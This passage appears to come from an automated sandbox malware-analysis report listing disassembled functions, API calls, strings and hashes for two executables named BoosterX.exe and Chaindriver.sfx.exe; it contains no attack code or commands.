Function 00007FF6C0390AF8 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6C038C3DB), ref: 00007FF6C0390B11
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6C038C3DB), ref: 00007FF6C0390B73
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6C038C3DB), ref: 00007FF6C0390BAD
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6C038C3DB), ref: 00007FF6C0390BD7

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 57e6a8c8eb3660c1ef58ab29e04114fb274abfae31478a384663a9e2e76f5968
Instruction ID: 9be77dcfa3922df6f20d2711c5f9f06a303fccdad859aec3c791344fc8ed5bc3
Opcode Fuzzy Hash: 57e6a8c8eb3660c1ef58ab29e04114fb274abfae31478a384663a9e2e76f5968
Instruction Fuzzy Hash: 11218231F19B9395EA209F16A440029B7A4FB98FD5B084635DECEE3B98DF3CE4528300

Function 00007FF6C038D3C0 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6C0387EA8,?,?,?,00007FF6C0389CB5), ref: 00007FF6C038D3CA
SetLastError.KERNEL32(?,?,?,00007FF6C0387EA8,?,?,?,00007FF6C0389CB5), ref: 00007FF6C038D432
SetLastError.KERNEL32(?,?,?,00007FF6C0387EA8,?,?,?,00007FF6C0389CB5), ref: 00007FF6C038D448
abort.LIBCMT ref: 00007FF6C038D44E

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 66754dd10562acfe9150f83282709bfe11e0b7c2362ae99d4c12b657f2a22dea
Instruction ID: f3eab3000b98bab5b1156451e491ec1e78b651a64154677f5747f117d7b02282
Opcode Fuzzy Hash: 66754dd10562acfe9150f83282709bfe11e0b7c2362ae99d4c12b657f2a22dea
Instruction Fuzzy Hash: 16019E10B0920362FE5A6F32A65957812925F84792F1406BBD9DEC37DAEF3CF8458200

Function 00007FF6C0378510 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6C0378518
GetDeviceCaps.GDI32 ref: 00007FF6C037852E
GetDeviceCaps.GDI32 ref: 00007FF6C0378542
ReleaseDC.USER32 ref: 00007FF6C0378553

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 659ac7cef5a6230f511b131fe25ef100f867fa9a2810ce63495c253f9cdf3390
Instruction ID: 47acd2aa2de45ce1555090a8175dcba6426ffbda096cff3bd810b05a232a4a1f
Opcode Fuzzy Hash: 659ac7cef5a6230f511b131fe25ef100f867fa9a2810ce63495c253f9cdf3390
Instruction Fuzzy Hash: EEE0ED60E09A0792FF186F7AA8591352151AF48747F084839C85EC6390DF3CE1858610

Function 00007FF6C035E35C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035E559

Strings

DXGIDebug.dll, xrefs: 00007FF6C035E36A

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: DXGIDebug.dll
API String ID: 3668304517-540382549
Opcode ID: 52200f55740db99051fc736a5c90be683e68ee55df2891b50c708b4d95f4332b
Instruction ID: b389ef9832a09b03fbb480cef821eddfe11accc8f006fb0b70505a0a00592165
Opcode Fuzzy Hash: 52200f55740db99051fc736a5c90be683e68ee55df2891b50c708b4d95f4332b
Instruction Fuzzy Hash: B871AC72A14B82A6EB14CF25E8443ADB3A5FB54B94F144226DFAC87BA5DF38D061C304

Function 00007FF6C038E174 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038E1B7

Strings

gfff, xrefs: 00007FF6C038E2E2
e+000, xrefs: 00007FF6C038E25F

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: f19aa8e360a5519298b9773b70f05fda243e234b3046621750ac1af24fd8595b
Instruction ID: 31082d90bf88a50226712f85a7eb291cf84dd522759b9a67c2c321d63f6c1b6e
Opcode Fuzzy Hash: f19aa8e360a5519298b9773b70f05fda243e234b3046621750ac1af24fd8595b
Instruction Fuzzy Hash: B5510662B187C6A6E7259F3599413696A95EB81B91F0883B3C7DCCBBD6CF2CE444C700

Function 00007FF6C03693C8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C0369568: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C03695A6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036955C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0369562

Strings

SIZE, xrefs: 00007FF6C0369403

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: 242355a89709c4c5ea07838de1a7176d1d05b675bc8fc1010d8238fae86b5ddf
Instruction ID: 42a1881ead331dcf45f3216f5fa82a0836626dadade6e9dff78d41d88c42b5a8
Opcode Fuzzy Hash: 242355a89709c4c5ea07838de1a7176d1d05b675bc8fc1010d8238fae86b5ddf
Instruction Fuzzy Hash: 4E418062A28683A5EE11DF28E4453B96361BB867A2F504233EBDDC67D6EF3CD541C700

Function 00007FF6C038C240 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038C26A
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6C0382C55), ref: 00007FF6C038C28B

Strings

C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe, xrefs: 00007FF6C038C279

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe
API String ID: 3307058713-3092362476
Opcode ID: a0d8c3237379257ab40db39896a4593fde12318382e3262d4c43878eda6e4b0c
Instruction ID: 9fef889c85ff7d83660706b54e362ba85f4df73ecac6c12b732f66b30140c815
Opcode Fuzzy Hash: a0d8c3237379257ab40db39896a4593fde12318382e3262d4c43878eda6e4b0c
Instruction Fuzzy Hash: 7841AC32A18A53AAEB15DF21A8401BC7794EF85BD5F548277EA8DC7B85DF3CE4428300

Function 00007FF6C0379AC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C035255C: GetDlgItem.USER32 ref: 00007FF6C03525AC
Part of subcall function 00007FF6C035255C: SetWindowTextW.USER32 ref: 00007FF6C03525C8

EndDialog.USER32 ref: 00007FF6C0379BA4
SetDlgItemTextW.USER32 ref: 00007FF6C0379C2A

Strings

ASKNEXTVOL, xrefs: 00007FF6C0379AF2

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: ea63e8dc08ff62e6733d286245d57d075c34d51a0c1fdd9564288bf9b5656a5d
Instruction ID: ebe62fc9992149c764212bb5363855d9f0d3d418445d7c2e3c8316fadb82d221
Opcode Fuzzy Hash: ea63e8dc08ff62e6733d286245d57d075c34d51a0c1fdd9564288bf9b5656a5d
Instruction Fuzzy Hash: D241C222B1CA83A1FA109F1AE5842B923A1EF89BC6F540136DECDD77A5CF3CE5418340

Function 00007FF6C03695F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C03696AA

Part of subcall function 00007FF6C0370EE8: WideCharToMultiByte.KERNEL32 ref: 00007FF6C0370F19

Strings

$%s, xrefs: 00007FF6C0369697
@%s, xrefs: 00007FF6C036968E

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 92f7a5e5db808ff0627fb4716d8c563998de2da1c6043d31c744409d5dfbc019
Instruction ID: e692a9d0fe0dc09ad84ff703d3f918a39908d09ed38bec33bfcdeea4348ca855
Opcode Fuzzy Hash: 92f7a5e5db808ff0627fb4716d8c563998de2da1c6043d31c744409d5dfbc019
Instruction Fuzzy Hash: 2C31CE72B19B87A6EA108F6AE5406E967A4FB45B85F401033EE8DC7B95EF3CE505C700

Function 00007FF6C038EA84 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6C038EAF6
GetFileType.KERNEL32 ref: 00007FF6C038EB0C

Strings

@, xrefs: 00007FF6C038EB37

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 8946ec43ce519745a17379b38ab7ff34034f07d291e36c027c9943bde98f32e6
Instruction ID: 90cec0a94c2596bc3725d386cb133a4f7a1035f5d3c79e86a60893140988abcf
Opcode Fuzzy Hash: 8946ec43ce519745a17379b38ab7ff34034f07d291e36c027c9943bde98f32e6
Instruction Fuzzy Hash: 07217C22A0CA9391EB658F2894901392651EB85B75F281377DABFDB7D4CF3DE881C240

Function 00007FF6C0383FF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C0381CBE), ref: 00007FF6C038403C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C0381CBE), ref: 00007FF6C0384082

Strings

csm, xrefs: 00007FF6C038406F

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 1d5db736ccfdc40490821f2c69de7fb41a1095ad17331bc3641baf3fc80bbebe
Instruction ID: e2209c5055e370e9c93d3f72473524d34ee8e84a86b7c87e6dc4d90de2f78b2d
Opcode Fuzzy Hash: 1d5db736ccfdc40490821f2c69de7fb41a1095ad17331bc3641baf3fc80bbebe
Instruction Fuzzy Hash: 20114C72608B8292EB208F15E44026AB7A1FB88B95F184272DFCD87B68DF3CD551CB00

Function 00007FF6C036E9D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C036E8DB,?,?,?,00007FF6C03645FA,?,?,?), ref: 00007FF6C036E9DF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C036E8DB,?,?,?,00007FF6C03645FA,?,?,?), ref: 00007FF6C036E9EA

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6C036E9F4

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1211598281-2248577382
Opcode ID: 54b8b47555da90577a26e8fb1f909d889ddb1753417e6592717e91a991b71306
Instruction ID: 58f0fdb94270d8d1d9f3b23afbce4a59710a6db7f0a91d27c570b15ca623dfad
Opcode Fuzzy Hash: 54b8b47555da90577a26e8fb1f909d889ddb1753417e6592717e91a991b71306
Instruction Fuzzy Hash: 14E09A65E19803B2F600AF25DC465A83211BFA53B6F944331D4BEC17F69F2CA9498705

Function 00007FF6C036A3FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6C036A407
FindResourceW.KERNEL32 ref: 00007FF6C036A41D

Strings

RTL, xrefs: 00007FF6C036A413

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: e3168a20bccc75ec722704d5b9360ecacf73fabbe3432b4ac0f8e016f3fe19b7
Instruction ID: a69cc3b0449034d051f7dba79e62c6b15229b37300bd3b5ed0f5be5523658f18
Opcode Fuzzy Hash: e3168a20bccc75ec722704d5b9360ecacf73fabbe3432b4ac0f8e016f3fe19b7
Instruction Fuzzy Hash: AED05E91F0960392FF194FB6A84933512506F58B43F485039CC8EC6390EF6CE095C754

Analysis Process: Chaindriver.sfx.exePID: 7732, Parent PID: 7688COMMON

Execution Graph

Execution Coverage:	13%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	27

Executed Functions

Function 00007FF720B3F940 Relevance: 17.1, APIs: 8, Strings: 1, Instructions: 1396COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B411F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B411F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B411FD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B41203
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B41209
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B4120F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B41215
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B4121B

Strings

__tmp_reference_source_, xrefs: 00007FF720B3FCE2, 00007FF720B3FCF1

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: __tmp_reference_source_
API String ID: 3668304517-685763994
Opcode ID: 8210d87abdacc87ac5e9da30224aa90e187ed07e086d8e0259362a61d43f00e5
Instruction ID: 46670f2d101dc4bf16691f7cacdafa07d2b7e68075847ee555ba4484a72e511a
Opcode Fuzzy Hash: 8210d87abdacc87ac5e9da30224aa90e187ed07e086d8e0259362a61d43f00e5
Instruction Fuzzy Hash: 52D28462A186C292EA74AB25DD543AEE761FB41780F904132DB9E13BA5CF3CF554CB30

Function 00007FF720B4B970 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddressForCaller.KERNELBASE ref: 00007FF720B4B9CE
GetProcAddress.KERNEL32 ref: 00007FF720B4B9E9
GetCurrentProcessId.KERNEL32 ref: 00007FF720B4BA86

Part of subcall function 00007FF720B4DF4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF720B4DD5B

Strings

Crypt32.dll, xrefs: 00007FF720B4B9AC
CryptProtectMemory failed, xrefs: 00007FF720B4BA3C
CryptUnprotectMemory failed, xrefs: 00007FF720B4BA7D
CryptProtectMemory, xrefs: 00007FF720B4B9C4
CryptUnprotectMemory, xrefs: 00007FF720B4B9DB

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 76993cb25b15c21bbb9ba85500eed42f79ef62b9df03f1df33b6944fdfd5394b
Instruction ID: 2c2953a26ca9787959745b7b9e2ce0c5a7e3babcc7d1cafb7a387fca60ce0688
Opcode Fuzzy Hash: 76993cb25b15c21bbb9ba85500eed42f79ef62b9df03f1df33b6944fdfd5394b
Instruction Fuzzy Hash: C2316D24A4AA0791FA34AB19AC6453CA7B0EF48B90FC40535CA4F03BA4DE3CF6418F34

Function 00007FF720B59168 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF720B59191
SHAutoComplete.SHLWAPI ref: 00007FF720B591D5

Part of subcall function 00007FF720B51344: CompareStringW.KERNEL32 ref: 00007FF720B51363

FindWindowExW.USER32 ref: 00007FF720B591BF

Strings

EDIT, xrefs: 00007FF720B5919B, 00007FF720B591B3

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
